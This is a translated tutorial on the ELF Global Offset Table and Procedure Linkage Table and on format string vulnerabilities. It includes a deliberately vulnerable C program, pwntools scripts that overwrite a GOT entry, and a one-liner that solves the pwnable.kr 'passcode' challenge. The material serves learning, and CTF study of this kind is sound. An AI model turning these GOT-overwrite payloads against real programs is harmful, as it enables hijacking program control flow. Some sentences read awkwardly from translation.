In this article we will analyze: what is the global offset table, the procedure linkage table and its rewriting through the format string vulnerability. We will also solve the 5th task from the site
pwnable.kr .
Organizational informationEspecially for those who want to learn something new and develop in any of the areas of information and computer security, I will write and talk about the following categories:
- PWN;
- cryptography (crypto);
- network technologies (Network);
- reverse (Reverse Engineering);
- steganography (Stegano);
- search and exploitation of WEB-vulnerabilities.
In addition, I will share my experience in computer forensics, analysis of malware and firmware, attacks on wireless networks and local area networks, pentesting and writing exploits.
So that you can learn about new articles, software and other information, I created a
channel in Telegram and a
group to discuss any issues in the field of i & kb. I will also personally consider your personal requests, questions, suggestions and recommendations
and answer all .
All information is presented solely for educational purposes. The author of this document does not bear any responsibility for any damage caused to anyone as a result of using the knowledge and methods obtained as a result of studying this document.
Global Offset Table and Procedure Link Table
Dynamically linked libraries are loaded from a separate file into memory at boot time or at run time. And, therefore, their memory addresses are not fixed to avoid memory conflicts with other libraries. In addition, the ASLR security mechanism will randomize the address of each module at boot time.
')
Global Offset Table (GOT - Global Offset Table) - a table of addresses stored in the data section. It is used at runtime to find the addresses of global variables that were unknown at compile time. This table is in the data section and is not used by all processes. All absolute addresses referenced by the code section are stored in this GOT table. The code section uses relative offsets to access these absolute addresses. And thus, library code can be shared by processes, even if they are loaded into different memory address spaces.
The procedure link table (PLT - Procedure Linkage Table) contains a transition code for calling common functions whose addresses are stored in the GOT, that is, the PLT contains addresses that store the addresses for the data (addresses) from the GOT.
Consider the mechanism of an example:
- In the program code, the external function printf is called.
- The control flow goes to the n-th entry in the PLT, and the transition occurs at a relative offset, rather than an absolute address.
- Goes to the address stored in the GOT. The function pointer stored in the GOT table first points back to the PLT code fragment.
- Thus, if printf is called for the first time, the dynamic linker converter is called to obtain the actual address of the target function.
- The printf address is written to the GOT table, and then printf is called.
- If printf is called again in code, the recognizer will no longer be called, because the printf address is already stored in the GOT.

When using this deferred binding, pointers to functions that are not used at run time are not allowed. Thus, it saves a lot of time.
In order for this mechanism to work, the following sections are present in the file:
- .got - contains entries for GOT;
- .plt - contains entries for PLT;
- .got.plt - contains GOT - PLT address ratios;
- .plt.got - contains PLT - GOT address ratios.
Since the .got.plt section is an array of pointers and is filled during the execution of a program (that is, it allows writing), we can overwrite one of them and control the flow of program execution.
Format string
The format string is a string using format specifiers. The format specifier is indicated by the “%” character (the %% sequence is used to enter the percent sign).
pritntf(“output %s 123”, “str”); output str 123
The most important format specifiers are:
- d - decimal signed number, default size, sizeof (int);
- x and X - unsigned hexadecimal number, x uses small letters (abcdef), X are large (ABCDEF), the default size is sizeof (int);
- s - output line with zero terminating byte;
- n - the number of characters recorded at the time of the appearance of the command sequence containing n.
Why a formatting string vulnerability is possible
This vulnerability consists in using one of the format output functions without specifying a format (as in the following example). Thus, we ourselves can specify the format of the output, which leads to the possibility of reading values ​​from the stack, and when specifying a special format, and writing to memory.
Consider the vulnerability in the following example:
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); }
Thus, the next line does not specify the output format.
printf(input);
Compile the program.
gcc vuln1.c -o vuln -no-pie
Let's look at the values ​​on the stack by typing a line containing format specifiers.

Thus, when calling printf (input), the following call works:
printf(“%p-%p-%p-%p-%p“);
It remains to understand what the program displays. The printf function has several arguments that represent the data for the format string.
Consider an example of a function call with the following arguments:
printf(“Number - %d, addres - %08x, string - %s”, a, &b, c);
When calling this function, the stack will look like this.

Thus, the function, when it detects a format specifier, extracts and stacks the value. Similarly, the function from our example will retrieve 5 values ​​from the stack.

To confirm the above, we find our format string on the stack.

When translating values ​​from the hex view, we get the string “% -p% AAAA“. That is, we were able to get values ​​from the stack.
GOT overwrite
Let's check the ability to rewrite the GOT through a format string vulnerability. To do this, let's loop our program by rewriting the address of the exit () function to the main address. We will rewrite using pwntools. Create the initial layout and repeat the previous input.
from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive()

But since, depending on the size of the entered string, the contents of the stack will be different, we will make the entered load always contain the same number of entered characters.
payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”)

payload = ("%p-%p-%p-%p").ljust(64, ”*”)

Now we need to know the GOT address of the exit () function, and the address of the main function. We will find the main address using gdb.

The GOT exit () address can be found using both gdb and objdump.


objdump -R vuln

Let's write these addresses into our program.
main_addr = 0x401162 exit_addr = 0x404038
Now you need to rewrite the address. For the stack, add the address of the function exit () and the addresses that are after, i.e. * (exit ()) + 1, etc. You can add it using our load.
payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1)
Run and determine how the account displays the address.

These addresses are displayed at positions 14 and 15. You can output the value at a certain position as follows.
payload = ("%14$p").ljust(64, "*")

We will rewrite the address in two blocks. To begin with, we derive 4 values ​​so that the 2nd and 4th positions are our addresses.
payload = ("%p%14$p%p%15$p").ljust(64, "*")

Now we divide the main () address into two blocks:
0x401162
1) 0x62 = 98 (write at 0x404038)
2) 0x4011 - 0x62 = 16303 (write at 0x404039)
We write them as follows:
payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')
Full code:
from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive()

Thus, instead of completion, the program is restarted. We have rewritten the exit () address.
Passcode job solution
We click on the first icon with the signature passcode, and we are told that we need to connect via SSH with the guest password.

When connected, we see the appropriate banner.

Let's find out what files are on the server, as well as what rights we have.
ls -l

Thus, we can read the source code of the program, since there is a right to read for everyone, and execute the passcode program with the owner's rights (the sticky bit is set). Let's review the outcome code.

There is an error in the login () function. In scanf (), the second argument is not the address of the variable & passcode1, but the variable itself, and not initialized. Since the variable is not yet initialized, it contains non-overwritten “garbage” that remained after the execution of the previous instructions. That is, scanf () will write the number to the address that will represent the residual data.

Thus, if, before calling the login function, we can gain control over this area of ​​memory, then we can write any number to any address (in fact, change the logic of the program).
Since the login () function is called immediately after the welcome () function, they have the same stack frame address.

Let's check if we can write data to the place of the future passcode1. Open the program in gdb and disassemble the login () and welcome () functions. Since in both cases scanf has two parameters, the address of the variable will be passed to the function first. Thus, the address of the passcode1 variable is ebp-0x10, and the name is ebp-0x70.


Now let's calculate the address of passcode1 relative to name, subject to the same ebp value:
(& name) - (& passcode1) = (ebp-0x70) - (ebp-0x10) = -96
& passcode1 == & name + 96
That is, the last 4 bytes of the name - that is the “garbage”, which will act as an address for recording in the login function.
In the article we saw how you can change the logic of the application by rewriting the addresses in the GOT. Let's do it here. Since the scanf () goes flush, then at the address of this function in the GOT, we write the address of the instruction of the system () function call to read the flag.



That is, at the address 0x804a004, you need to write 0x80485e3 in decimal form.
python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode

As a result, we get 10 points, so far this is the most difficult task.

The files for this article are attached to the
Telegram channel . See you in the next articles!